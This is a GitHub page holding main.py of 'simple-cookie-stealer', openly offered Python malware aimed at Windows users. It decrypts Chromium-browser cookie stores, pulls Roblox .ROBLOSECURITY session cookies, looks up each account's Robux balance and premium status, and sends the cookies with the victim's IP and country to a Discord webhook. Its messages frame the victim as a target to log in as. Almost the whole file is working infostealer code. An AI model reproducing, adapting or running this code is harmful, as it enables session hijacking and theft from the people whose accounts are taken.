forked from dekrypted/simple-cookie-stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
331 lines (260 loc) · 12.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
import io
import os
import json
import base64
import shutil
import zipfile
import sqlite3
import requests
import subprocess
import threading
import traceback
import random
import ctypes
import ctypes.wintypes as wintypes
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
webhook = "WEBHOOK GOES HERE"
forceRead = False
debug = False # Secret thingy for development (Don't mess with it)
def safe(func):
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except Exception:
if debug:
traceback.print_exc()
return wrapper
class CookieLogger:
appdata = os.getenv('APPDATA')
localappdata = os.getenv('LOCALAPPDATA')
def __init__(self):
browsers = self.findBrowsers()
info = requests.get("http://ip-api.com/json/").json()
self.embeds = [{
"username": "Simple Cookie Stealer",
"title": "Victim Found!",
"description" : f"You can find the Cookies in the embeds.\nUse a VPN to connect to the area below in order to log in.",
"color": 12422241,
"fields": [
{"name": "IP", "value": info["query"], "inline": True},
{"name": "Area", "value": info["country"], "inline": True},
]
}]
threads = [threading.Thread(target=self.getCookie, args=(browser[0], browser[1])) for browser in browsers]
for thread in threads:
thread.start()
for thread in threads:
thread.join()
if len(self.embeds) == 1:
requests.post(webhook, json={"embeds": [{
"username": "Simple Cookie Stealer",
"title": "No Cookies Found!",
"description" : f"A Victim ran the Stealer, but it did not find any Roblox Cookies.",
"color": 12422241,
"fields": [
{"name": "IP", "value": info["query"], "inline": True},
{"name": "Area", "value": info["country"], "inline": True},
]
}]})
else:
embedsSplit = [self.embeds[idx:idx+10] for idx in range(len(self.embeds)) if idx % 10 == 0]
for embeds in embedsSplit:
data = {"embeds": embeds}
requests.post(webhook, json=data)
@safe
def handleEmbed(self, roblosec):
if not roblosec:
return
basicInfo = requests.get("https://www.roblox.com/mobileapi/userinfo", cookies = {".ROBLOSECURITY": roblosec}).json()
username = basicInfo["UserName"]
userId = basicInfo["UserID"]
robux = basicInfo["RobuxBalance"]
premium = basicInfo["IsPremium"]
advancedInfo = requests.get(f"https://users.roblox.com/v1/users/{userId}").json()
creationDate = advancedInfo["created"]
creationDate = creationDate.split("T")[0]
creationDate = creationDate.split("-")
creationDate = f"{creationDate[1]}/{creationDate[2]}/{creationDate[0]}"
embed = {
"username": "Simple Cookie Stealer",
"title": "Cookie Found!",
"description" : f"Log in with the Cookie Below. You may need to use a VPN to connect to the Area shown in the First Embed.",
"color": 12422241,
"fields": [
{"name": "Username", "value": username, "inline": True},
{"name": "User ID", "value": userId, "inline": True},
{"name": "Robux Balance", "value": robux, "inline": True},
{"name": "Has Premium", "value": premium, "inline": True},
{"name": "Creation Date", "value": creationDate, "inline": True},
{"name": "Cookie", "value": f"```{roblosec}```", "inline": False}
]
}
self.embeds.append(embed)
@safe
def findBrowsers(self):
found = []
for root in [self.appdata, self.localappdata]:
for directory in os.listdir(root):
try:
for _root, _, _ in os.walk(os.path.join(root, directory)):
for file in os.listdir(_root):
if file == "Local State":
if "Default" in os.listdir(_root):
found.append([_root, True])
elif "Login Data" in os.listdir(_root):
found.append([_root, False])
else:
pass
except Exception:
pass
return found
@safe
def getMasterKey(self, browserPath):
with open(os.path.join(browserPath, "Local State"), "r", encoding = "utf8") as f:
localState = json.loads(f.read())
masterKey = base64.b64decode(localState["os_crypt"]["encrypted_key"])
truncatedMasterKey = masterKey[5:]
return CryptUnprotectData(truncatedMasterKey, None, None, None, 0)[1]
@safe
def decryptCookie(self, cookie, masterKey):
iv = cookie[3:15]
encryptedValue = cookie[15:]
cipher = AES.new(masterKey, AES.MODE_GCM, iv)
decryptedValue = cipher.decrypt(encryptedValue)
return decryptedValue[:-16].decode()
@safe
def getCookie(self, browserPath, isProfiled):
cookiesFound = []
profiles = ["Default"]
try:
masterKey = self.getMasterKey(browserPath)
except Exception:
return cookiesFound
if isProfiled:
for directory in os.listdir(browserPath):
if directory.startswith("Profile "):
profiles.append(directory)
if not isProfiled:
if "Network" in os.listdir(browserPath):
cookiePath = os.path.join(browserPath, "Network", "Cookies")
else:
cookiePath = os.path.join(browserPath, "Cookies")
filename = ''.join([random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(256)]) + '.db' # Random name so there aren't collisions
shutil.copy2(cookiePath, filename)
connection = sqlite3.connect(filename)
cursor = connection.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
for cookie in cursor.fetchall():
if cookie[0].endswith("roblox.com") and cookie[2]:
decrypted = self.decryptCookie(cookie[2], masterKey)
try:
if (decrypted.startswith("_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_")):
cookiesFound.append(decrypted)
except Exception:
pass
connection.close()
os.remove(filename)
else:
for profile in profiles:
if "Network" in os.listdir(os.path.join(browserPath, profile)):
cookiePath = os.path.join(browserPath, profile, "Network", "Cookies")
else:
cookiePath = os.path.join(browserPath, profile, "Cookies")
filename = ''.join([random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(20)]) + '.db' # Random name so there aren't collisions
try:
shutil.copy2(cookiePath, filename)
except PermissionError:
if forceRead:
pidlist = cookiePath
for pid in pidlist:
subprocess.check_output(f"taskkill /f /pid {pid}", creationflags=0x08000000, shell=True)
else:
return
shutil.copy2(cookiePath, filename)
connection = sqlite3.connect(filename)
cursor = connection.cursor()
cursor.execute("SELECT host_key, name, encrypted_value FROM cookies")
for cookie in cursor.fetchall():
if cookie[0].endswith("roblox.com") and cookie[2]:
decrypted = self.decryptCookie(cookie[2], masterKey)
try:
if (decrypted.startswith("_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_")):
cookiesFound.append(decrypted)
except Exception:
pass
connection.close()
os.remove(filename)
for cookie in cookiesFound:
self.handleEmbed(cookie)
# Thanks to https://stackoverflow.com/questions/39570207/what-process-is-using-a-given-file
# For this massive chunk of code below. I didn't feel like working with Ctypes myself, so
# I pasted this.
@safe
def whichProcessesUsingFile(self, path: str) -> list:
# -----------------------------------------------------------------------------
# generic strings and constants
# -----------------------------------------------------------------------------
ntdll = ctypes.WinDLL('ntdll')
kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
NTSTATUS = wintypes.LONG
INVALID_HANDLE_VALUE = wintypes.HANDLE(-1).value
FILE_READ_ATTRIBUTES = 0x80
FILE_SHARE_READ = 1
OPEN_EXISTING = 3
FILE_FLAG_BACKUP_SEMANTICS = 0x02000000
FILE_INFORMATION_CLASS = wintypes.ULONG
FileProcessIdsUsingFileInformation = 47
LPSECURITY_ATTRIBUTES = wintypes.LPVOID
ULONG_PTR = wintypes.WPARAM
# -----------------------------------------------------------------------------
# create handle on concerned file with dwDesiredAccess == FILE_READ_ATTRIBUTES
# -----------------------------------------------------------------------------
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = (
wintypes.LPCWSTR, # In lpFileName
wintypes.DWORD, # In dwDesiredAccess
wintypes.DWORD, # In dwShareMode
LPSECURITY_ATTRIBUTES, # In_opt lpSecurityAttributes
wintypes.DWORD, # In dwCreationDisposition
wintypes.DWORD, # In dwFlagsAndAttributes
wintypes.HANDLE) # In_opt hTemplateFile
hFile = kernel32.CreateFileW(
path, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, None, OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS, None)
if hFile == INVALID_HANDLE_VALUE:
raise ctypes.WinError(ctypes.get_last_error())
# -----------------------------------------------------------------------------
# prepare data types for system call
# -----------------------------------------------------------------------------
class IO_STATUS_BLOCK(ctypes.Structure):
class _STATUS(ctypes.Union):
_fields_ = (('Status', NTSTATUS),
('Pointer', wintypes.LPVOID))
_anonymous_ = '_Status',
_fields_ = (('_Status', _STATUS),
('Information', ULONG_PTR))
iosb = IO_STATUS_BLOCK()
class FILE_PROCESS_IDS_USING_FILE_INFORMATION(ctypes.Structure):
_fields_ = (('NumberOfProcessIdsInList', wintypes.LARGE_INTEGER),
('ProcessIdList', wintypes.LARGE_INTEGER * 64))
info = FILE_PROCESS_IDS_USING_FILE_INFORMATION()
PIO_STATUS_BLOCK = ctypes.POINTER(IO_STATUS_BLOCK)
ntdll.NtQueryInformationFile.restype = NTSTATUS
ntdll.NtQueryInformationFile.argtypes = (
wintypes.HANDLE, # In FileHandle
PIO_STATUS_BLOCK, # Out IoStatusBlock
wintypes.LPVOID, # Out FileInformation
wintypes.ULONG, # In Length
FILE_INFORMATION_CLASS) # In FileInformationClass
# -----------------------------------------------------------------------------
# system call to retrieve list of PIDs currently using the file
# -----------------------------------------------------------------------------
status = ntdll.NtQueryInformationFile(hFile, ctypes.byref(iosb),
ctypes.byref(info),
ctypes.sizeof(info),
FileProcessIdsUsingFileInformation)
pidList = info.ProcessIdList[0:info.NumberOfProcessIdsInList]
return pidList
if __name__ == "__main__":
CookieLogger()